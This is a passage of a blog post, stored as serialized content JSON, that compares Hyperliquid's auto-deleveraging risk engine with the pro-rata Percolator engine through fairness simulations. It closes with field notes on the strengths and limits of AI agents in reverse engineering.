",{"type":23,"tag":38,"props":163156,"children":163158},{"className":163157},[2658,2659],[163159],{"type":23,"tag":141,"props":163160,"children":163162},{"className":163161},[2664],[163163],{"type":23,"tag":141,"props":163164,"children":163166},{"className":163165,"ariaHidden":2670},[2669],[163167,163193],{"type":23,"tag":141,"props":163168,"children":163170},{"className":163169},[2675],[163171,163175,163180,163184,163189],{"type":23,"tag":141,"props":163172,"children":163174},{"className":163173,"style":20255},[2680],[],{"type":23,"tag":141,"props":163176,"children":163178},{"className":163177,"style":20261},[2686,20260],[163179],{"type":29,"value":120310},{"type":23,"tag":141,"props":163181,"children":163183},{"className":163182,"style":2863},[2766],[],{"type":23,"tag":141,"props":163185,"children":163187},{"className":163186},[2868],[163188],{"type":29,"value":1377},{"type":23,"tag":141,"props":163190,"children":163192},{"className":163191,"style":2863},[2766],[],{"type":23,"tag":141,"props":163194,"children":163196},{"className":163195},[2675],[163197,163201],{"type":23,"tag":141,"props":163198,"children":163200},{"className":163199,"style":92563},[2680],[],{"type":23,"tag":141,"props":163202,"children":163204},{"className":163203},[2686],[163205],{"type":29,"value":687},{"type":29,"value":163207}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":38,"props":163209,"children":163211},{"className":163210},[2658,2659],[163212],{"type":23,"tag":141,"props":163213,"children":163215},{"className":163214},[2664],[163216],{"type":23,"tag":141,"props":163217,"children":163219},{"className":163218,"ariaHidden":2670},[2669],[163220,163247],{"type":23,"tag":141,"props":163221,"children":163223},{"className":163222},[2675],[163224,163228,163233,163237,163243],{"type":23,"tag":141,"props":163225,"children":163227},{"className":163226,"style":20255},[2680],[],{"type":23,"tag":141,"props":163229,"children":163231},{"className":163230,"style":20261},[2686,20260],[163232],{"type":29,"value":120310},{"type":23,"tag":141,"props":163234,"children":163236},{"className":163235,"style":2863},[2766],[],{"type":23,"tag":141,"props":163238,"children":163240},{"className":163239},[2868],[163241],{"type":29,"value":163242},"≈",{"type":23,"tag":141,"props":163244,"children":163246},{"className":163245,"style":2863},[2766],[],{"type":23,"tag":141,"props":163248,"children":163250},{"className":163249},[2675],[163251,163255],{"type":23,"tag":141,"props":163252,"children":163254},{"className":163253,"style":92563},[2680],[],{"type":23,"tag":141,"props":163256,"children":163258},{"className":163257},[2686],[163259],{"type":29,"value":2698},{"type":29,"value":163261}," means a few get wiped while most are untouched.",{"type":23,"tag":120,"props":163263,"children":163264},{},[163265,163269,163270,163428,163430,163524,163526],{"type":23,"tag":47,"props":163266,"children":163267},{},[163268],{"type":29,"value":159364},{"type":29,"value":31380},{"type":23,"tag":38,"props":163271,"children":163273},{"className":163272},[2658,2659],[163274],{"type":23,"tag":141,"props":163275,"children":163277},{"className":163276},[2664],[163278],{"type":23,"tag":141,"props":163279,"children":163281},{"className":163280,"ariaHidden":2670},[2669],[163282],{"type":23,"tag":141,"props":163283,"children":163285},{"className":163284},[2675],[163286,163291,163366,163371],{"type":23,"tag":141,"props":163287,"children":163290},{"className":163288,"style":163289},[2680],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":141,"props":163292,"children":163294},{"className":163293},[2686],[163295,163300],{"type":23,"tag":141,"props":163296,"children":163298},{"className":163297,"style":93540},[2686,20260],[163299],{"type":29,"value":160089},{"type":23,"tag":141,"props":163301,"children":163303},{"className":163302},[2702],[163304],{"type":23,"tag":141,"props":163305,"children":163307},{"className":163306},[2707,20314],[163308,163354],{"type":23,"tag":141,"props":163309,"children":163311},{"className":163310},[2712],[163312,163349],{"type":23,"tag":141,"props":163313,"children":163315},{"className":163314,"style":107249},[2717],[163316,163333],{"type":23,"tag":141,"props":163317,"children":163319},{"style":163318},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[163320,163324],{"type":23,"tag":141,"props":163321,"children":163323},{"className":163322,"style":2727},[2726],[],{"type":23,"tag":141,"props":163325,"children":163327},{"className":163326},[2732,2733,2734,2735],[163328],{"type":23,"tag":141,"props":163329,"children":163331},{"className":163330,"style":20261},[2686,20260,2735],[163332],{"type":29,"value":4661},{"type":23,"tag":141,"props":163334,"children":163335},{"style":2721},[163336,163340],{"type":23,"tag":141,"props":163337,"children":163339},{"className":163338,"style":2727},[2726],[],{"type":23,"tag":141,"props":163341,"children":163343},{"className":163342},[2732,2733,2734,2735],[163344],{"type":23,"tag":141,"props":163345,"children":163347},{"className":163346,"style":92018},[2686,20260,2735],[163348],{"type":29,"value":159603},{"type":23,"tag":141,"props":163350,"children":163352},{"className":163351},[20417],[163353],{"type":29,"value":20420},{"type":23,"tag":141,"props":163355,"children":163357},{"className":163356},[2712],[163358],{"type":23,"tag":141,"props":163359,"children":163362},{"className":163360,"style":163361},[2717],"height:0.2753em;",[163363],{"type":23,"tag":141,"props":163364,"children":163365},{},[],{"type":23,"tag":141,"props":163367,"children":163369},{"className":163368},[2686],[163370],{"type":29,"value":3255},{"type":23,"tag":141,"props":163372,"children":163374},{"className":163373},[2686],[163375,163380],{"type":23,"tag":141,"props":163376,"children":163378},{"className":163377,"style":93540},[2686,20260],[163379],{"type":29,"value":160089},{"type":23,"tag":141,"props":163381,"children":163383},{"className":163382},[2702],[163384],{"type":23,"tag":141,"props":163385,"children":163387},{"className":163386},[2707,20314],[163388,163417],{"type":23,"tag":141,"props":163389,"children":163391},{"className":163390},[2712],[163392,163412],{"type":23,"tag":141,"props":163393,"children":163395},{"className":163394,"style":141087},[2717],[163396],{"type":23,"tag":141,"props":163397,"children":163398},{"style":160108},[163399,163403],{"type":23,"tag":141,"props":163400,"children":163402},{"className":163401,"style":2727},[2726],[],{"type":23,"tag":141,"props":163404,"children":163406},{"className":163405},[2732,2733,2734,2735],[163407],{"type":23,"tag":141,"props":163408,"children":163410},{"className":163409,"style":20261},[2686,20260,2735],[163411],{"type":29,"value":4661},{"type":23,"tag":141,"props":163413,"children":163415},{"className":163414},[20417],[163416],{"type":29,"value":20420},{"type":23,"tag":141,"props":163418,"children":163420},{"className":163419},[2712],[163421],{"type":23,"tag":141,"props":163422,"children":163424},{"className":163423,"style":91615},[2717],[163425],{"type":23,"tag":141,"props":163426,"children":163427},{},[],{"type":29,"value":163429}," — ",{"type":23,"tag":38,"props":163431,"children":163433},{"className":163432},[2658,2659],[163434],{"type":23,"tag":141,"props":163435,"children":163437},{"className":163436},[2664],[163438],{"type":23,"tag":141,"props":163439,"children":163441},{"className":163440,"ariaHidden":2670},[2669],[163442],{"type":23,"tag":141,"props":163443,"children":163445},{"className":163444},[2675],[163446,163451],{"type":23,"tag":141,"props":163447,"children":163450},{"className":163448,"style":163449},[2680],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":141,"props":163452,"children":163454},{"className":163453},[2686],[163455,163460],{"type":23,"tag":141,"props":163456,"children":163458},{"className":163457,"style":93540},[2686,20260],[163459],{"type":29,"value":160089},{"type":23,"tag":141,"props":163461,"children":163463},{"className":163462},[2702],[163464],{"type":23,"tag":141,"props":163465,"children":163467},{"className":163466},[2707,20314],[163468,163513],{"type":23,"tag":141,"props":163469,"children":163471},{"className":163470},[2712],[163472,163508],{"type":23,"tag":141,"props":163473,"children":163475},{"className":163474,"style":107249},[2717],[163476,163492],{"type":23,"tag":141,"props":163477,"children":163478},{"style":163318},[163479,163483],{"type":23,"tag":141,"props":163480,"children":163482},{"className":163481,"style":2727},[2726],[],{"type":23,"tag":141,"props":163484,"children":163486},{"className":163485},[2732,2733,2734,2735],[163487],{"type":23,"tag":141,"props":163488,"children":163490},{"className":163489,"style":20261},[2686,20260,2735],[163491],{"type":29,"value":4661},{"type":23,"tag":141,"props":163493,"children":163494},{"style":2721},[163495,163499],{"type":23,"tag":141,"props":163496,"children":163498},{"className":163497,"style":2727},[2726],[],{"type":23,"tag":141,"props":163500,"children":163502},{"className":163501},[2732,2733,2734,2735],[163503],{"type":23,"tag":141,"props":163504,"children":163506},{"className":163505,"style":92018},[2686,20260,2735],[163507],{"type":29,"value":159603},{"type":23,"tag":141,"props":163509,"children":163511},{"className":163510},[20417],[163512],{"type":29,"value":20420},{"type":23,"tag":141,"props":163514,"children":163516},{"className":163515},[2712],[163517],{"type":23,"tag":141,"props":163518,"children":163520},{"className":163519,"style":163361},[2717],[163521],{"type":23,"tag":141,"props":163522,"children":163523},{},[],{"type":29,"value":163525}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":38,"props":163527,"children":163529},{"className":163528},[2658,2659],[163530],{"type":23,"tag":141,"props":163531,"children":163533},{"className":163532},[2664],[163534],{"type":23,"tag":141,"props":163535,"children":163537},{"className":163536,"ariaHidden":2670},[2669],[163538],{"type":23,"tag":141,"props":163539,"children":163541},{"className":163540},[2675],[163542,163546],{"type":23,"tag":141,"props":163543,"children":163545},{"className":163544,"style":109373},[2680],[],{"type":23,"tag":141,"props":163547,"children":163549},{"className":163548,"style":92018},[2686,20260],[163550],{"type":29,"value":159603},{"type":23,"tag":32,"props":163552,"children":163553},{},[163554],{"type":29,"value":163555},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":163557,"props":163558,"children":163560},"git-hub-repo-link",{"url":163559},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":32,"props":163562,"children":163563},{},[163564,163566,163571],{"type":29,"value":163565},"Given a fixed ",{"type":23,"tag":47,"props":163567,"children":163568},{},[163569],{"type":29,"value":163570},"a priori",{"type":29,"value":163572}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":32,"props":163574,"children":163575},{},[163576,163578,163583,163585,163662],{"type":29,"value":163577},"One prediction that we can make is that Percolator is ",{"type":23,"tag":47,"props":163579,"children":163580},{},[163581],{"type":29,"value":163582},"perfectly fair",{"type":29,"value":163584}," according to this scoring: the ",{"type":23,"tag":38,"props":163586,"children":163588},{"className":163587},[2658,2659],[163589],{"type":23,"tag":141,"props":163590,"children":163592},{"className":163591},[2664],[163593],{"type":23,"tag":141,"props":163594,"children":163596},{"className":163595,"ariaHidden":2670},[2669],[163597],{"type":23,"tag":141,"props":163598,"children":163600},{"className":163599},[2675],[163601,163605],{"type":23,"tag":141,"props":163602,"children":163604},{"className":163603,"style":140811},[2680],[],{"type":23,"tag":141,"props":163606,"children":163608},{"className":163607},[2686],[163609,163614],{"type":23,"tag":141,"props":163610,"children":163612},{"className":163611},[2686,20260],[163613],{"type":29,"value":82830},{"type":23,"tag":141,"props":163615,"children":163617},{"className":163616},[2702],[163618],{"type":23,"tag":141,"props":163619,"children":163621},{"className":163620},[2707,20314],[163622,163651],{"type":23,"tag":141,"props":163623,"children":163625},{"className":163624},[2712],[163626,163646],{"type":23,"tag":141,"props":163627,"children":163629},{"className":163628,"style":92061},[2717],[163630],{"type":23,"tag":141,"props":163631,"children":163632},{"style":91588},[163633,163637],{"type":23,"tag":141,"props":163634,"children":163636},{"className":163635,"style":2727},[2726],[],{"type":23,"tag":141,"props":163638,"children":163640},{"className":163639},[2732,2733,2734,2735],[163641],{"type":23,"tag":141,"props":163642,"children":163644},{"className":163643},[2686,20260,2735],[163645],{"type":29,"value":2404},{"type":23,"tag":141,"props":163647,"children":163649},{"className":163648},[20417],[163650],{"type":29,"value":20420},{"type":23,"tag":141,"props":163652,"children":163654},{"className":163653},[2712],[163655],{"type":23,"tag":141,"props":163656,"children":163658},{"className":163657,"style":91615},[2717],[163659],{"type":23,"tag":141,"props":163660,"children":163661},{},[],{"type":29,"value":163663}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":32,"props":163665,"children":163666},{},[163667,163669,163674],{"type":29,"value":163668},"We are ignoring the ",{"type":23,"tag":47,"props":163670,"children":163671},{},[163672],{"type":29,"value":163673},"a posteriori",{"type":29,"value":163675}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":32,"props":163677,"children":163678},{},[163679],{"type":29,"value":163680},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":23,"tag":24,"props":163682,"children":163684},{"id":163683},"simulations",[163685],{"type":29,"value":163686},"Simulations",{"type":23,"tag":32,"props":163688,"children":163689},{},[163690],{"type":29,"value":163691},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":32,"props":163693,"children":163694},{},[163695],{"type":23,"tag":2591,"props":163696,"children":163699},{"alt":163697,"src":163698},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":32,"props":163701,"children":163702},{},[163703],{"type":29,"value":163704},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":32,"props":163706,"children":163707},{},[163708],{"type":23,"tag":2591,"props":163709,"children":163712},{"alt":163710,"src":163711},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":8287,"props":163714,"children":163716},{"id":163715},"percolator-is-more-optimistic",[163717],{"type":29,"value":163718},"Percolator Is More \"Optimistic\"",{"type":23,"tag":32,"props":163720,"children":163721},{},[163722,163724,163729,163731,163736,163738,163744,163746,163751],{"type":29,"value":163723},"The key difference is what happens to positions. ADL ",{"type":23,"tag":47,"props":163725,"children":163726},{},[163727],{"type":29,"value":163728},"permanently closes",{"type":29,"value":163730}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":47,"props":163732,"children":163733},{},[163734],{"type":29,"value":163735},"withdraw",{"type":29,"value":163737},", but the position stays open. If conditions improve, ",{"type":23,"tag":38,"props":163739,"children":163741},{"className":163740},[],[163742],{"type":29,"value":163743},"Residual",{"type":29,"value":163745}," goes up, ",{"type":23,"tag":38,"props":163747,"children":163749},{"className":163748},[],[163750],{"type":29,"value":82830},{"type":29,"value":163752}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":32,"props":163754,"children":163755},{},[163756,163758,163762],{"type":29,"value":163757},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":47,"props":163759,"children":163760},{},[163761],{"type":29,"value":18858},{"type":29,"value":163763}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":32,"props":163765,"children":163766},{},[163767],{"type":23,"tag":2591,"props":163768,"children":163771},{"alt":163769,"src":163770},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":24,"props":163773,"children":163775},{"id":163774},"some-points-to-be-made",[163776],{"type":29,"value":163777},"Some Points to Be Made",{"type":23,"tag":8287,"props":163779,"children":163781},{"id":163780},"percolator-is-indifferent-to-leverage",[163782],{"type":29,"value":163783},"Percolator Is Indifferent to Leverage",{"type":23,"tag":32,"props":163785,"children":163786},{},[163787],{"type":29,"value":163788},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":32,"props":163790,"children":163791},{},[163792],{"type":23,"tag":2591,"props":163793,"children":163796},{"alt":163794,"src":163795},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":8287,"props":163798,"children":163800},{"id":163799},"fairness",[163801],{"type":29,"value":159354},{"type":23,"tag":32,"props":163803,"children":163804},{},[163805],{"type":29,"value":163806},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":32,"props":163808,"children":163809},{},[163810],{"type":23,"tag":2591,"props":163811,"children":163814},{"alt":163812,"src":163813},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":32,"props":163816,"children":163817},{},[163818,163820,163825],{"type":29,"value":163819},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":38,"props":163821,"children":163823},{"className":163822},[],[163824],{"type":29,"value":157856},{"type":29,"value":163826}," we start by fully closing the worst position against the best-performing trader.",{"type":23,"tag":24,"props":163828,"children":163830},{"id":163829},"strengths-and-limitations-of-agents-for-reverse-engineering",[163831],{"type":29,"value":163832},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":32,"props":163834,"children":163835},{},[163836],{"type":29,"value":163837},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":8287,"props":163839,"children":163841},{"id":163840},"hooks",[163842],{"type":29,"value":163843},"Hooks",{"type":23,"tag":32,"props":163845,"children":163846},{},[163847,163849,163853],{"type":29,"value":163848},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":47,"props":163850,"children":163851},{},[163852],{"type":29,"value":163840},{"type":29,"value":163854},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":32,"props":163856,"children":163857},{},[163858],{"type":29,"value":163859},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":8287,"props":163861,"children":163863},{"id":163862},"scale",[163864],{"type":29,"value":163865},"Scale",{"type":23,"tag":32,"props":163867,"children":163868},{},[163869],{"type":29,"value":163870},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":32,"props":163872,"children":163873},{},[163874],{"type":29,"value":163875},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":8287,"props":163877,"children":163879},{"id":163878},"whats-next",[163880],{"type":29,"value":163881},"What's next?",{"type":23,"tag":32,"props":163883,"children":163884},{},[163885],{"type":29,"value":163886},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":163557,"props":163888,"children":163889},{"url":157517},[],{"type":23,"tag":32,"props":163891,"children":163892},{},[163893],{"type":29,"value":163894},"The analyzed binary can be found here:",{"type":23,"tag":157837,"props":163896,"children":163899},{"path":163897,"name":157441,"size":163898},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":8287,"props":163901,"children":163903},{"id":163902},"closing-words",[163904],{"type":29,"value":163905},"Closing Words",{"type":23,"tag":32,"props":163907,"children":163908},{},[163909],{"type":29,"value":163910},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":32,"props":163912,"children":163913},{},[163914,163916,163921],{"type":29,"value":163915},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":47,"props":163917,"children":163918},{},[163919],{"type":29,"value":163920},"manual",{"type":29,"value":163922}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":23,"tag":32,"props":163924,"children":163925},{},[163926],{"type":29,"value":163927},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":32,"props":163929,"children":163930},{},[163931],{"type":29,"value":163932},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":163934,"props":163935,"children":163936},"report-footnotes",{},[163937],{"type":23,"tag":116,"props":163938,"children":163939},{},[163940,163945,163972,163977,163982],{"type":23,"tag":120,"props":163941,"children":163942},{},[163943],{"type":29,"value":163944},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":120,"props":163946,"children":163947},{},[163948,163954,163956,163962,163964,163970],{"type":23,"tag":38,"props":163949,"children":163951},{"className":163950},[],[163952],{"type":29,"value":163953},"compute_user_margin_and_shortfall",{"type":29,"value":163955}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":38,"props":163957,"children":163959},{"className":163958},[],[163960],{"type":29,"value":163961},"0x748",{"type":29,"value":163963}," in the abstract expressions of ",{"type":23,"tag":38,"props":163965,"children":163967},{"className":163966},[],[163968],{"type":29,"value":163969},"btree_cursor",{"type":29,"value":163971},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":120,"props":163973,"children":163974},{},[163975],{"type":29,"value":163976},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":120,"props":163978,"children":163979},{},[163980],{"type":29,"value":163981},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":120,"props":163983,"children":163984},{},[163985,163987,163993],{"type":29,"value":163986},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":38,"props":163988,"children":163990},{"className":163989},[],[163991],{"type":29,"value":163992},"s3://hl-mainnet-node-data/explorer_blocks",{"type":29,"value":322},{"title":7,"searchDepth":180,"depth":180,"links":163995},[163996,163997,163998,163999,164000,164003,164004,164005,164008,164009,164012,164016],{"id":157387,"depth":180,"text":157390},{"id":157380,"depth":180,"text":157408},{"id":157465,"depth":180,"text":157468},{"id":157746,"depth":180,"text":157749},{"id":157780,"depth":180,"text":157783,"children":164001},[164002],{"id":157919,"depth":205,"text":157922},{"id":158698,"depth":180,"text":158701},{"id":158794,"depth":180,"text":158797},{"id":159012,"depth":180,"text":159015,"children":164006},[164007],{"id":159257,"depth":205,"text":159260},{"id":159317,"depth":180,"text":159320},{"id":163683,"depth":180,"text":163686,"children":164010},[164011],{"id":163715,"depth":205,"text":163718},{"id":163774,"depth":180,"text":163777,"children":164013},[164014,164015],{"id":163780,"depth":205,"text":163783},{"id":163799,"depth":205,"text":159354},{"id":163829,"depth":180,"text":163832,"children":164017},[164018,164019,164020,164021],{"id":163840,"depth":205,"text":163843},{"id":163862,"depth":205,"text":163865},{"id":163878,"depth":205,"text":163881},{"id":163902,"depth":205,"text":163905},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630602]